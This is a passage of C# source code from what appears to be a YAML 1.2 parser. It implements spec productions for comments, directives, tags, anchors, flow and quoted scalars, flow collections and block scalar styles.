     sFlowLinePrefix(n) \n            );\n        }\n        #endregion\n        #region 6.6 Comments\n        private bool c_nbCommentText() // [75] \n        {\n            return text[p] == '#' && Repeat(nbChar);\n        }\n        bool bComment() // [76] \n        {\n            return bNonContent() || EndOfFile();\n        }\n        bool EndOfFile() // [76, 206]\n        {\n            return p == text.Length - 1; // text[text.Length-1] == '\\0' /* guard char */\n        }\n        bool s_bComment() // [77] \n        {\n            return RewindUnless(() =>\n              \tOptional(sSeparateInLine() && Optional(c_nbCommentText)) &&\n                bComment()\n            );\n        }\n        bool lComment() // [78] \n        {\n            return RewindUnless(() =>\n                sSeparateInLine() &&\n                Optional(c_nbCommentText) &&\n                bComment()\n                );\n\n        }\n        bool s_lComments() // [79] \n        {\n            return ( s_bComment() || StartOfLine() ) && Repeat(lComment);\n        }\n        #endregion\n        #region 6.7 Separation Lines\n        bool sSeparate(int n, Context c) // [80] \n        {\n            switch ( c ) {\n            case Context.BlockOut:\n            case Context.BlockIn:\n            case Context.FlowOut:\n            case Context.FlowIn:\n                return sSeparateLines(n);\n            case Context.BlockKey:\n            case Context.FlowKey:\n                return sSeparateInLine();\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        bool sSeparateLines(int n) // [81] \n        {\n            return\n                RewindUnless(() => s_lComments() && sFlowLinePrefix(n)) ||\n                sSeparateInLine();\n        }\n        #endregion\n        #region 6.8 Directives\n        bool lDirective() // [82] \n        {\n            return RewindUnless(() =>\n                text[p++] == '%' &&\n                RewindUnless(() =>\n                    nsYamlDirective() ||\n                    nsTagDirective() ||\n                    nsReservedDirective()) &&\n                s_lComments()\n                );\n        }\n        bool nsReservedDirective() // [83] \n        {\n            var name = \"\";\n            var args = new List<string>();\n            return RewindUnless(() =>\n                Save(() => OneAndRepeat(nsChar), ref name) &&\n                Repeat(() =>\n                    sSeparateInLine() && Save(() => OneAndRepeat(nsChar), s => args.Add(s))\n                )\n            ) &&\n            Action(() => ReservedDirective(name, args.ToArray()) );\n        }\n        bool YamlDirectiveAlreadyAppeared = false;\n        bool nsYamlDirective() // [86] \n        {\n            string version = \"\";\n            return RewindUnless(() =>\n                Accept(\"YAML\") &&\n                sSeparateInLine() &&\n                Save(() =>\n                    OneAndRepeat(Charsets.nsHexDigit) &&\n                    text[p++] == '.' &&\n                    OneAndRepeat(Charsets.nsHexDigit),\n                    ref version)\n                ) &&\n                Action(() => {\n                    if ( YamlDirectiveAlreadyAppeared )\n                        Error(\"The YAML directive must only be given at most once per document.\");\n                    YamlDirective(version);\n                    YamlDirectiveAlreadyAppeared = true;\n                });\n        }\n        bool nsTagDirective() // [88] \n        {\n            string tag_handle = \"\";\n            string tag_prefix = \"\";\n            return RewindUnless(() =>\n                Accept(\"TAG\") && sSeparateInLine() && \n                ErrorUnless(()=>\n                    text[p++] == '!' &&\n                    cTagHandle(out tag_handle) && sSeparateInLine() && \n                    nsTagPrefix(out tag_prefix),\n                    \"Invalid TAG directive found.\"\n                )\n            ) &&\n            Action(() => TagPrefixes.Add(tag_handle, tag_prefix) );\n        }\n        private bool cTagHandle(out string tag_handle) // [89]' \n        {\n            var _tag_handle = tag_handle = \"\";\n            if ( Save(() => Optional(RewindUnless(() => \n                    Repeat(Charsets.nsWordChar) && text[p++] == '!'\n                    )), \n                    s => _tag_handle = s) ) {\n                tag_handle = \"!\" + _tag_handle;\n                return true;\n            }\n            return false;\n        }\n        private bool nsTagPrefix(out string tag_prefix) // [93] \n        {\n            return\n                c_nsLocalTagPrefix(out tag_prefix) ||\n                nsGlobalTagPrefix(out tag_prefix);\n        }\n        private bool c_nsLocalTagPrefix(out string tag_prefix) // [94] \n        {\n            Debug.Assert(stringValue.Length == 0);\n            if ( RewindUnless(() =>\n                    text[p++] == '!' &&\n                    Repeat(nsUriChar)\n                ) ) {\n                tag_prefix = \"!\" + stringValue.ToString();\n                stringValue.Length = 0;\n                return true;\n            }\n            tag_prefix = \"\";\n            return false;\n        }\n        private bool nsGlobalTagPrefix(out string tag_prefix) // [95] \n        {\n            Debug.Assert(stringValue.Length == 0);\n            if(RewindUnless(()=> nsTagChar() && Repeat(nsUriChar) )){\n                tag_prefix = stringValue.ToString();\n                stringValue.Length = 0;\n                return true;\n            }\n            tag_prefix = \"\";\n            return false;\n        }\n        #endregion\n        #region 6.9 Node Properties\n        bool c_nsProperties(int n, Context c) // [96] \n        {\n            state.anchor = null;\n            state.tag = null;\n            return\n                ( c_nsTagProperty() && Optional(RewindUnless(()=> sSeparate(n, c) && c_nsAnchorProperty()) )) ||\n                ( c_nsAnchorProperty() && Optional(RewindUnless(()=>sSeparate(n, c) && c_nsTagProperty()) ));\n        }\n        bool c_nsTagProperty() // [97]' \n        {\n            if(text[p] != '!')\n                return false;\n\n            // reduce '!' here to improve perfomance\n            p++;\n            return\n                cVerbatimTag() ||\n                c_nsShorthandTag() ||\n                cNonSpecificTag();\n        }\n        private bool cVerbatimTag() // [98]' \n        {\n            return\n                text[p] == '<' &&\n                ErrorUnless(\n                    text[p++] == '<' &&\n                    OneAndRepeat(nsUriChar) &&\n                    text[p++] == '>',\n                    \"Invalid verbatim tag\"\n                ) &&\n                SetTag(GetStringValue());\n        }\n\n        private bool c_nsShorthandTag() // [99]' \n        {\n            var tag_handle = \"\";\n            return RewindUnless(() =>\n                cTagHandle(out tag_handle) &&\n                ErrorUnlessWithAdditionalCondition(() =>\n                    OneAndRepeat(nsTagChar),\n                    tag_handle != \"!\",\n                    string.Format(\"The {0} handle has no suffix.\", tag_handle)\n                ) &&\n                SetTag(tag_handle, GetStringValue())\n            );\n        }\n        string GetStringValue()\n        {\n            var s = stringValue.ToString();\n            stringValue.Length = 0;\n            return s;\n        }\n        private bool cNonSpecificTag() // [100]' \n        {\n            // disable tag resolution to restrict tag to be ( map | seq | str )\n            state.tag = \"\";\n            return true; /* empty */\n        }\n        bool c_nsAnchorProperty() // [101] \n        {\n            if ( text[p] != '&' )\n                return false;\n            p++;\n            return Save(nsAnchorName, s => state.anchor = s);\n        }\n        private bool nsAnchorName() // [103] \n        {\n            return OneAndRepeat(Charsets.nsAnchorChar);\n        }\n        #endregion\n        #endregion\n\n        #region Chapter 7. Flow Styles\n        #region 7.1 Alias Nodes\n        private bool c_nsAliasNode() // [104] \n        {\n            string anchor_name = \"\";\n            var pos = CurrentPosition;\n            return RewindUnless(() =>\n                text[p++] == '*' &&\n                Save(() => nsAnchorName(), s => anchor_name = s)\n            ) &&\n            SetValue(Anchors[anchor_name]);\n        }\n        #endregion\n        #region 7.2 Empty Nodes\n        /// <summary>\n        /// [105]\n        /// </summary>\n        private bool eScalar()\n        {\n            Debug.Assert(stringValue.Length == 0);\n            return SetValue(CreateScalar(\"!!null\", CurrentPosition)); /* empty */\n        }\n        /// <summary>\n        /// [106]\n        /// </summary>\n        private bool eNode()\n        {\n            return eScalar();\n        }\n        #endregion\n        #region 7.3 Flow Scalar Styles\n        #region 7.3.1 Double-Quoted Style\n        private bool nbDoubleChar() // [107] \n        {\n            if ( text[p] != '\\\\' && text[p] != '\"' && Charsets.nbJson(text[p]) ) {\n                stringValue.Append(text[p++]);\n                return true;\n            }\n            return c_nsEscChar();\n        }\n        bool nsDoubleChar() // [108] \n        {\n            return !Charsets.sWhite(text[p]) && nbDoubleChar();\n        }\n        private bool cDoubleQuoted(int n, Context c) // [109] \n        {\n            Position pos = CurrentPosition;\n            Debug.Assert(stringValue.Length == 0);\n            return text[p] == '\"' &&\n                ErrorUnlessWithAdditionalCondition(() =>\n                    text[p++] == '\"' &&\n                    nbDoubleText(n, c) &&\n                    text[p++] == '\"',\n                    c == Context.FlowOut,\n                    \"Closing quotation \\\" was not found.\" +\n                    ( TabCharFoundForIndentation ? \" Tab char \\\\t can not be used for indentation.\" : \"\" )\n                ) &&\n                SetValue(CreateScalar(\"!!str\", pos));\n        }\n        private bool nbDoubleText(int n, Context c) // [110] \n        {\n            switch ( c ) {\n            case Context.FlowOut:\n            case Context.FlowIn:\n                return nbDoubleMultiLine(n);\n            case Context.BlockKey:\n            case Context.FlowKey:\n                return nbDoubleOneLine(n);\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        private bool nbDoubleOneLine(int n) // [111] \n        {\n            return Repeat(nbDoubleChar);\n        }\n        private bool sDoubleEscaped(int n) // [112] \n        {\n            return RewindUnless(() =>\n                Repeat_sWhiteAsString() &&\n                text[p++] == '\\\\' && bNonContent() &&\n                Repeat(() => lEmpty(n, Context.FlowIn)) &&\n                sFlowLinePrefix(n)\n                );\n        }\n        private bool sDoubleBreak(int n) // [113] \n        {\n            return sDoubleEscaped(n) || sFlowFolded(n);\n        }\n        private bool nb_nsDoubleInLine() // [114] \n        {\n            return Repeat(() => RewindUnless(()=> Repeat_sWhiteAsString() && OneAndRepeat(nsDoubleChar)) );\n        }\n        private bool sDoubleNextLine(int n) // [115] \n        {\n            return\n                sDoubleBreak(n) &&\n                Optional(RewindUnless(() =>\n                    nsDoubleChar() &&\n                    nb_nsDoubleInLine() &&\n                    ( sDoubleNextLine(n) || Repeat(Repeat_sWhiteAsString) )\n                    ))\n                ;\n        }\n        private bool nbDoubleMultiLine(int n) // [116] \n        {\n            return nb_nsDoubleInLine() &&\n                ( sDoubleNextLine(n) || Repeat(Repeat_sWhiteAsString) );\n        }\n        #endregion\n        #region 7.3.2 Single-Quoted Style\n        bool nbSingleChar() // [118] \n        {\n            if ( text[p] != '\\'' && Charsets.nbJson(text[p]) ) {\n                stringValue.Append(text[p++]);\n                return true;\n            }\n            // [117] cQuotedQuote\n            if ( text[p] == '\\'' && text[p + 1] == '\\'' ) {\n                stringValue.Append('\\'');\n                p += 2;\n                return true;\n            }\n            return false;\n        }\n        bool nsSingleChar() // [119] \n        {\n            return !Charsets.sWhite(text[p]) && nbSingleChar();\n        }\n        private bool cSingleQuoted(int n, Context c) // [120] \n        {\n            Debug.Assert(stringValue.Length == 0);\n            Position pos = CurrentPosition;\n            return text[p] == '\\'' &&\n                ErrorUnlessWithAdditionalCondition(()=>\n                    text[p++] == '\\'' &&\n                    nbSingleText(n, c) &&\n                    text[p++] == '\\'',\n                    c == Context.FlowOut,\n                    \"Closing quotation \\' was not found.\" +\n                    (TabCharFoundForIndentation ? \" Tab char \\\\t can not be used for indentation.\" : \"\")\n                ) &&\n                SetValue(CreateScalar(\"!!str\", pos));\n        }\n        private bool nbSingleText(int n, Context c) // [121] \n        {\n            switch ( c ) {\n            case Context.FlowOut:\n            case Context.FlowIn:\n                return nbSingleMultiLine(n);\n            case Context.BlockKey:\n            case Context.FlowKey:\n                return nbSingleOneLine(n);\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        private bool nbSingleOneLine(int n) // [122] \n        {\n            return Repeat(nbSingleChar);\n        }\n        private bool nb_nsSingleInLine() // [123] \n        {   \n            return Repeat(() => RewindUnless(()=> Repeat_sWhiteAsString() && OneAndRepeat(nsSingleChar)));\n        }\n        private bool sSingleNextLine(int n) // [124] \n        {\n            return RewindUnless(() =>\n                sFlowFolded(n) && (\n                    nsSingleChar() &&\n                    nb_nsSingleInLine() &&\n                    Optional(sSingleNextLine(n) || Repeat_sWhiteAsString() )\n                    )\n                );\n        }\n        private bool nbSingleMultiLine(int n) // [125] \n        {\n            return nb_nsSingleInLine() &&\n                ( sSingleNextLine(n) || Repeat_sWhiteAsString() );\n        }\n        #endregion\n        #region 7.3.3 Plain Style\n        private bool nsPlainFirst(Context c) // [126] \n        {\n            if ( Charsets.nsPlainFirstSub(text[p]) ||\n                   ( ( text[p] == '?' || text[p] == ':' || text[p] == '-' ) && nsPlainSafe(c, text[p+1]) ) ) {\n                WarnIfCharWasBreakInYAML1_1();\n                stringValue.Append(text[p++]);\n                return true;\n            }\n            return false;\n        }\n        private bool nsPlainSafe(Context c) // [127] \n        {\n            if ( !nsPlainSafe(c, text[p]) )\n                return false;\n            WarnIfCharWasBreakInYAML1_1();\n            stringValue.Append(text[p++]);\n            return true;\n        }\n        private bool nsPlainSafe(Context c, char cc) // [127] \n        {\n            switch ( c ) {\n            case Context.FlowOut:\n            case Context.BlockKey:\n                return Charsets.nsPlainSafeOut(cc);\n            case Context.FlowIn:\n            case Context.FlowKey:\n                return Charsets.nsPlainSafeIn(cc);\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        private bool nsPlainChar(Context c) // [130] \n        {\n            if ( text[p]!= ':' && text[p]!='#' && nsPlainSafe(c) )\n                return true;\n            if ( ( /* An ns-char preceding '#' */\n                    p != 0 &&\n                    Charsets.nsChar(text[p - 1]) &&\n                    text[p] == '#' ) ||\n                ( /* ':' Followed by an ns-char */\n                    text[p] == ':' && nsPlainSafe(c, text[p+1]) )\n                ) {\n                stringValue.Append(text[p++]);\n                return true;\n            }                             \n            return false;\n        }\n        private bool nsPlain(int n, Context c) // [131] \n        {\n            if ( cForbidden() )\n                return false;\n            var pos = CurrentPosition;\n            Debug.Assert(stringValue.Length == 0);\n            switch ( c ) {\n            case Context.FlowOut:\n            case Context.FlowIn:\n                return\n                    nsPlainMultiLine(n, c) &&\n                    SetValue(CreateScalar(null, pos));\n            case Context.BlockKey:\n            case Context.FlowKey:\n                return nsPlainOneLine(c) &&\n                    SetValue(CreateScalar(null, pos));\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        private bool nb_nsPlainInLine(Context c) // [132] \n        {   \n            return Repeat(() => RewindUnless(() => \n                Repeat_sWhiteAsString() && \n                OneAndRepeat(() => nsPlainChar(c))\n            ));\n        }\n        private bool nsPlainOneLine(Context c) // [133] \n        {\n            return nsPlainFirst(c) && nb_nsPlainInLine(c);\n        }\n        private bool s_nsPlainNextLine(int n, Context c) // [134] \n        {\n            return RewindUnless(() =>\n                sFlowFolded(n) &&\n                nsPlainChar(c) &&\n                nb_nsPlainInLine(c)\n            );\n        }\n        private bool nsPlainMultiLine(int n, Context c) // [135] \n        {\n            return\n                nsPlainOneLine(c) &&\n                Repeat(() => s_nsPlainNextLine(n, c));\n        }\n        #endregion\n        #endregion\n        #region 7.4 Flow Collection Styles\n        private Context InFlow(Context c) // [136] \n        {\n            switch ( c ) {\n            case Context.FlowOut:\n            case Context.FlowIn:\n                return Context.FlowIn;\n            case Context.BlockKey:\n            case Context.FlowKey:\n                return Context.FlowKey;\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        #region 7.4.1 Flow Sequences\n        private bool cFlowSequence(int n, Context c) // [137] \n        {\n            YamlSequence sequence = null;\n            Position pos = CurrentPosition;\n            return RewindUnless(() =>\n                text[p++] == '[' &&\n                ErrorUnlessWithAdditionalCondition(() =>\n                    Optional(sSeparate(n, c)) &&\n                    Optional(ns_sFlowSeqEntries(n, InFlow(c),\n                                sequence = CreateSequence(pos))) &&\n                    text[p++] == ']',\n                    c == Context.FlowOut,\n                    \"Closing brace ] was not found.\" +\n                    ( TabCharFoundForIndentation ? \" Tab char \\\\t can not be used for indentation.\" : \"\" )\n                )\n            ) &&\n            SetValue(sequence);\n        }\n\n        private bool ns_sFlowSeqEntries(int n, Context c, YamlSequence sequence) // [138] \n        {\n            return\n                nsFlowSeqEntry(n, c) &&\n                Action(() => sequence.Add(GetValue()) ) &&\n                Optional(sSeparate(n, c)) &&\n                Optional(RewindUnless(() =>\n                    text[p++] == ',' &&\n                    Optional(sSeparate(n, c)) &&\n                    Optional(ns_sFlowSeqEntries(n, c, sequence))\n                    ));\n        }\n        private bool nsFlowSeqEntry(int n, Context c) // [139] \n        {\n            YamlNode key = null;\n            Position pos = CurrentPosition;\n            return \n                RewindUnless(()=>\n                    nsFlowPair(n, c, ref key) && \n                    Action(()=>{\n                        var map= CreateMapping(pos);\n                        map.Add(key, GetValue());\n                        SetValue(map);\n                    })\n                ) || \n                nsFlowNode(n, c);\n        }\n        #endregion\n        #region 7.4.2 Flow Mappings\n        private bool cFlowMapping(int n, Context c) // [140] \n        {\n            Position pos = CurrentPosition;\n            YamlMapping mapping = null;\n            return RewindUnless(() =>\n                text[p++] == '{' &&\n                Optional(sSeparate(n, c)) &&\n                ErrorUnlessWithAdditionalCondition(() =>\n                    Optional(ns_sFlowMapEntries(n, InFlow(c), mapping = CreateMapping(pos))) &&\n                    text[p++] == '}',\n                    c == Context.FlowOut,\n                    \"Closing brace }} was not found.\" +\n                    ( TabCharFoundForIndentation ? \" Tab char \\\\t can not be used for indentation.\" : \"\" )\n                )\n            ) &&\n            SetValue(mapping);\n        }\n        private bool ns_sFlowMapEntries(int n, Context c, YamlMapping mapping) // [141] \n        {\n            YamlNode key = null;\n            return\n                nsFlowMapEntry(n, c, ref key) &&\n                Action(() => mapping.Add(key, GetValue()) ) &&\n                Optional(sSeparate(n, c)) &&\n                Optional(RewindUnless(() =>\n                    text[p++] == ',' &&\n                    Optional(sSeparate(n, c)) &&\n                    Optional(ns_sFlowMapEntries(n, c, mapping))\n                ));\n        }\n        private bool nsFlowMapEntry(int n, Context c, ref YamlNode key) // [142] \n        {\n            YamlNode _key = null;\n            return (\n                RewindUnless(() => text[p++] == '?' && sSeparate(n, c) && nsFlowMapExplicitEntry(n, c, ref _key)) ||\n                nsFlowMapImplicitEntry(n, c, ref _key)\n            ) &&\n            Assign(out key, _key);\n        }\n        private bool nsFlowMapExplicitEntry(int n, Context c, ref YamlNode key) // [143] \n        {\n            return nsFlowMapImplicitEntry(n, c, ref key) || (\n                eNode() /* Key */ &&\n                Assign(out key, GetValue()) &&\n                eNode() /* Value */\n            );\n        }\n        private bool nsFlowMapImplicitEntry(int n, Context c, ref YamlNode key) // [144] \n        {\n            return\n                nsFlowMapYamlKeyEntry(n, c, ref key) ||\n                c_nsFlowMapEmptyKeyEntry(n, c, ref key) ||\n                c_nsFlowMapJsonKeyEntry(n, c, ref key);\n        }\n        private bool nsFlowMapYamlKeyEntry(int n, Context c, ref YamlNode key) // [145] \n        {\n            return\n                nsFlowYamlNode(n, c) &&\n                Assign(out key, GetValue()) && (\n                    RewindUnless(() => ( Optional(sSeparate(n, c)) && c_nsFlowMapSeparateValue(n, c) )) ||\n                    eNode()\n                );\n        }\n        private bool c_nsFlowMapEmptyKeyEntry(int n, Context c, ref YamlNode key) // [146] \n        {\n            YamlNode _key = null;\n            return RewindUnless(() =>\n                eNode() /* Key */ &&\n                Assign(out _key, GetValue()) &&\n                c_nsFlowMapSeparateValue(n, c)\n            ) &&\n            Assign(out key, _key);\n        }\n        private bool c_nsFlowMapSeparateValue(int n, Context c) // [147] \n        {\n            return RewindUnless(() =>\n                text[p++] == ':' && !nsPlainSafe(c, text[p]) && (\n                    RewindUnless(() => sSeparate(n, c) && nsFlowNode(n, c)) ||\n                    eNode() /* Value */\n                )\n            );\n        }\n        private bool c_nsFlowMapJsonKeyEntry(int n, Context c, ref YamlNode key) // [148] \n        {\n            return\n                cFlowJsonNode(n, c) &&\n                Assign(out key, GetValue()) && (\n                    RewindUnless(() => Optional(sSeparate(n, c)) && c_nsFlowMapAdjacentValue(n, c)) ||\n                    eNode()\n                );\n        }\n        private bool c_nsFlowMapAdjacentValue(int n, Context c) // [149] \n        {\n            return RewindUnless(() =>\n                text[p++] == ':' && (\n                    RewindUnless(() => Optional(sSeparate(n, c)) && nsFlowNode(n, c)) ||\n                    eNode() /* Value */\n                    )\n                );\n        }\n        private bool nsFlowPair(int n, Context c, ref YamlNode key) // [150] \n        {\n            YamlNode _key = null;\n            return (\n                RewindUnless(() => text[p++] == '?' && sSeparate(n, c) && nsFlowMapExplicitEntry(n, c, ref _key)) ||\n                nsFlowPairEntry(n, c, ref _key)\n            ) &&\n            Assign(out key, _key);\n        }\n        private bool nsFlowPairEntry(int n, Context c, ref YamlNode key) // [151] \n        {\n            return\n                nsFlowPairYamlKeyEntry(n, c, ref key) ||\n                c_nsFlowMapEmptyKeyEntry(n, c, ref key) ||\n                c_nsFlowPairJsonKeyEntry(n, c, ref key);\n        }\n        private bool nsFlowPairYamlKeyEntry(int n, Context c, ref YamlNode key) // [152] \n        {\n            return\n                ns_sImplicitYamlKey(Context.FlowKey) &&\n                Assign(out key, GetValue()) &&\n                c_nsFlowMapSeparateValue(n, c);\n        }\n        private bool c_nsFlowPairJsonKeyEntry(int n, Context c, ref YamlNode key) // [153] \n        {\n            return\n                c_sImplicitJsonKey(Context.FlowKey) &&\n                Assign(out key, GetValue()) &&\n                c_nsFlowMapAdjacentValue(n, c);\n        }\n        private bool ns_sImplicitYamlKey(Context c) // [154] \n        {\n            /* At most 1024 characters altogether */\n            int start = p;\n            if ( nsFlowYamlNode(-1 /* not used */, c) && Optional(sSeparateInLine) ) {\n                ErrorUnless(( p - start ) < 1024, \"The implicit key was too long.\");\n                return true;\n            }\n            return false;\n        }\n        private bool c_sImplicitJsonKey(Context c) // [155] \n        {\n            /* At most 1024 characters altogether */\n            int start = p;\n            if ( cFlowJsonNode(-1 /* not used */, c) && Optional(sSeparateInLine) ) {\n                ErrorUnless(( p - start ) < 1024, \"The implicit key was too long.\");\n                return true;\n            }\n            return false;\n        }\n        #endregion\n        #endregion\n        #region 7.5 Flow Nodes\n        private bool nsFlowYamlContent(int n, Context c) // [156] \n        {\n            return nsPlain(n, c);\n        }\n        private bool cFlowJsonContent(int n, Context c) // [157] \n        {\n            return cFlowSequence(n, c) || cFlowMapping(n, c) ||\n                   cSingleQuoted(n, c) || cDoubleQuoted(n, c);\n        }\n        private bool nsFlowContent(int n, Context c) // [158] \n        {\n            return\n                nsFlowYamlContent(n, c) ||\n                cFlowJsonContent(n, c);\n        }\n        private bool nsFlowYamlNode(int n, Context c) // [159] \n        {\n            return \n                c_nsAliasNode() ||\n                nsFlowYamlContent(n, c) ||\n                ( c_nsProperties(n, c) && (\n                    RewindUnless(()=> sSeparate(n, c) && nsFlowYamlContent(n, c) ) || eScalar() ) );\n        }\n        private bool cFlowJsonNode(int n, Context c) // [160] \n        {\n            return\n                Optional(RewindUnless(() => c_nsProperties(n, c) && sSeparate(n, c))) &&\n                cFlowJsonContent(n, c);\n        }\n        private bool nsFlowNode(int n, Context c) // [161] \n        {\n            if( c_nsAliasNode() ||\n                nsFlowContent(n, c) ||\n                RewindUnless(() => c_nsProperties(n, c) &&\n                    ( RewindUnless(() => sSeparate(n, c) && nsFlowContent(n, c)) || eScalar() )) )\n                return true;\n            if( text[p] == '@' || text[p] == '`' )\n                Error(\"Reserved indicators '@' and '`' can't start a plain scalar.\");\n            return false;\n        }\n        #endregion\n        #endregion\n\n        #region Chapter 8. Block Styles\n        #region 8.1 Block Scalar Styles\n        #region 8.1.1 Block Scalar Headers\n        enum ChompingIndicator\n        {\n            Strip,\n            Keep,\n            Clip\n        }\n        private bool c_bBlockHeader(out int m, out ChompingIndicator t) // [162] \n        {\n            var _m = m = 0;\n            var _t = t = ChompingIndicator.Clip;\n            if ( RewindUnless(() =>\n                    ( ( cIndentationIndicator(ref _m) && Optional(cChompingIndicator(ref _t)) ) ||\n                      ( Optional(cChompingIndicator(ref _t)) && Optional(cIndentationIndicator(ref _m)) ) ) &&\n                    s_bComment()\n                ) ) {\n                m = _m;\n                t = _t;\n                return true;\n            }\n            return false;\n        }\n        bool cIndentationIndicator(ref int m) // [163] \n        {\n            if ( Charsets.nsDecDigit(text[p]) ) {\n                m = text[p] - '0';\n                p++;\n                return true;\n            }\n            return false;\n        }\n        bool cChompingIndicator(ref ChompingIndicator t) // [164] \n        {\n            switch ( text[p] ) {\n            case '-':\n                p++;\n                t = ChompingIndicator.Strip;\n                return true;\n            case '+':\n                p++;\n                t = ChompingIndicator.Keep;\n                return true;\n            }\n            return false;\n        }\n        private bool bChompedLast(ChompingIndicator t) // [165] \n        {\n            return EndOfFile() || (\n                ( t == ChompingIndicator.Strip ) ? bBreak() : bAsLineFeed() \n            );\n        }\n        private bool lChompedEmpty(int n, ChompingIndicator t) // [166] \n        {\n            return ( t == ChompingIndicator.Keep ) ? lKeepEmpty(n) : lStripEmpty(n);\n        }\n        private bool lStripEmpty(int n) // [167] \n        {\n            return Repeat(() =>RewindUnless(()=> sIndentLE(n) && bNonContent())) &&\n                   Optional(lTrailComments(n));\n        }\n        private bool lKeepEmpty(int n) // [168] \n        {\n            return Repeat(() => lEmpty(n, Context.BlockIn)) &&\n                   Optional(lTrailComments(n));\n        }\n        private bool lTrailComments(int n) // [169] \n        {\n            return RewindUnless(() =>\n                sIndentLT(n) &&\n                c_nbCommentText() &&\n                bComment() &&\n                Repeat(lComment)\n            );\n        }\n        int AutoDetectIndentation(int n) // [170, 183]\n        {\n            int m = 0, max = 0, maxp = 0;\n            RewindUnless(() =>\n                Repeat(() => RewindUnless(() =>\n                    Save(() => Repeat(Charsets.sSpace), s => {\n                        if ( s.Length > max ) {\n                            max = s.Length;\n                            maxp = p;\n                        }\n                    }) && bBreak())\n                ) &&\n                Save(() => Repeat(Charsets.sSpace), s => m = s.Length - n) &&\n                Action(() => { if ( text[p] == '\\t' ) TabCharFoundForIndentation = true; }) &&\n                false // force Rewind\n            );\n            if ( m < 1 && TabCharFoundForIndentation )\n                Error(\"Tab character found for indentation.\");\n            if ( m < max - n ) {\n                p = maxp;\n                Error(\"Too many indentation was found.\");\n            }\n            return m <= 1 ? 1 : m;\n        }\n        #endregion\n        #region 8.1.2. Literal Style\n        bool c_lLiteral(int n) // [170] \n        {\n            Debug.Assert(stringValue.Length == 0);\n\n            int m = 0;\n            var t = ChompingIndicator.Clip;\n            Position pos = CurrentPosition;\n            return RewindUnless(() =>\n                text[p++] == '|' &&\n                c_bBlockHeader(out m, out t) &&\n                Action(() => { if ( m == 0 ) m = AutoDetectIndentation(n); }) &&\n                ErrorUnless(lLiteralContent(n + m, t), \"Irregal literal text found.\")\n            ) &&\n            SetValue(CreateScalar(\"!!str\", pos));\n        }\n        bool l_nbLiteralText(int n) // [171] \n        {\n            return RewindUnless(() =>\n                Repeat(() => lEmpty(n, Context.BlockIn)) &&\n                sIndent(n) &&\n                Save(() => Repeat(nbChar), s => stringValue.Append(s) )\n            );\n        }\n        bool b_nbLiteralNext(int n) // [172] \n        {\n            return RewindUnless(() =>\n                bAsLineFeed() &&\n                !cForbidden() &&\n                l_nbLiteralText(n)\n            );                                                            \n        }\n        private bool lLiteralContent(int n, ChompingIndicator t) // [173] \n        {\n            return RewindUnless(()=>\n                Optional(RewindUnless(()=>l_nbLiteralText(n) && Repeat(() => b_nbLiteralNext(n)) && bChompedLast(t))) &&\n                lChompedEmpty(n, t)\n            );\n        }\n        #endregion\n        #region 8.1.3. Folded Style\n        private bool c_lFolded(int n) // [174] \n        {\n            Debug.Assert(stringValue.Length == 0);\n\n            int m = 0;\n            var t = ChompingIndicator.Clip;\n            Position pos = CurrentPosition;\n            return RewindUnless(() =>\n                text[p++] == '>' &&\n                c_bBlockHeader(out m, out t) &&\n                WarningIf(t== ChompingIndicator.Keep,       \n                  \"Keep line breaks for folded text '>+' is invalid\") &&\n                Action(() => { if ( m == 0 ) m = AutoDetectIndentation(n); }) &&\n                ErrorUnless(lFoldedContent(n + m, t), \"Irregal folded string found.\")\n            ) &&\n            SetValue(CreateScalar(\"!!str\", pos));\n        }\n        private bool s_nbFoldedText(int n) // [175] \n        {\n            return RewindUnless(() =>\n                sIndent(n) &&\n                Save(() => nsChar() && Repeat(nbChar), s => stringValue.Append(s))\n            );\n        }\n        private bool l_nbFoldedLines(int n) // [176] \n        {\n            return s_nbFoldedText(n) &&\n                Repeat(() => RewindUnless(() => b_lFolded(n, Context.BlockIn) && s_nbFoldedText(n)));\n        }\n        private bool s_nbSpacedText(int n) // [177] \n        {\n            return RewindUnless(() =>\n                sIndent(n) &&\n                Save(() => sWhite() && Repeat(nbChar), s => stringValue.Append(s))\n            );\n        }\n        private bool b_lSpaced(int n) // [178] \n        {\n            return\n                bAsLineFeed() &&\n                !cForbidden() &&\n                Repeat(() => lEmpty(n, Context.Folded));\n        }\n        private bool l_nbSpacedLines(int n) // [179] \n        {\n            return RewindUnless(() =>\n                s_nbSpacedText(n) &&\n                Repeat(() => RewindUnless(() => b_lSpaced(n) && s_nbSpacedText(n)))\n            );\n        }\n        private bool l_nbSameLines(int n) // [180] \n        {\n            return RewindUnless(() =>\n                Repeat(() => lEmpty(n, Context.BlockIn)) &&\n                ( l_nbFoldedLines(n) || l_nbSpacedLines(n) )\n            );\n        }\n        private bool l_nbDiffLines(int n) // [181] \n        {\n            return \n                l_nbSameLines(n) &&\n                Repeat(() => RewindUnless(() => bAsLineFeed() && !cForbidden() && l_nbSameLines(n)));\n        }\n        private bool lFoldedContent(int n, ChompingIndicator t) // [182] \n        {\n            return RewindUnless(()=>\n                Optional(RewindUnless(() => l_nbDiffLines(n) && bChompedLast(t))) &&\n                lChompedEmpty(n, t)\n            );\n        }\n        #endregion\n        #endregion\n        #region 8.2. Block Collection Styles\n        #region 8.2.1 Block Sequences\n        private bool lBlockSequence(int n) // [183] \n        {\n            int m = AutoDetectIndentation(n);\n            YamlSequence sequence = null;\n            Position pos = new Position();\n            return OneAndRepeat(() => RewindUnless(() =>\n                sIndent(n + m) &&\n                Action(() => { if ( sequence == null ) pos = CurrentPosition; }) &&\n                text[p] == '-' && !Charsets.nsChar(text[p + 1]) &&\n                Action(() => { if ( sequence == null ) sequence = CreateSequence(pos); }) &&\n                c_lBlockSeqEntry(n + m, sequence)\n            )) &&\n            SetValue(sequence);\n        }\n        private bool c_lBlockSeqEntry(int n, YamlSequence sequence) // [184] \n        {\n            Debug.Assert(text[p] == '-' && !Charsets.nsChar(text[p + 1]));\n            p++;\n            return \n                s_lBlockIndented(n, Context.BlockIn) &&\n                Action(()=> sequence.Add(GetValue()) );\n        }\n        bool s_lBlockIndented(int n, Context c) // [185] \n        {\n            int m;\n            return\n                RewindUnless(() => sIndentCounted(n, out m) &&\n                    ( ns_lCompactSequence(n + 1 + m) || ns_lCompactMapping(n + 1 + m) )) ||\n                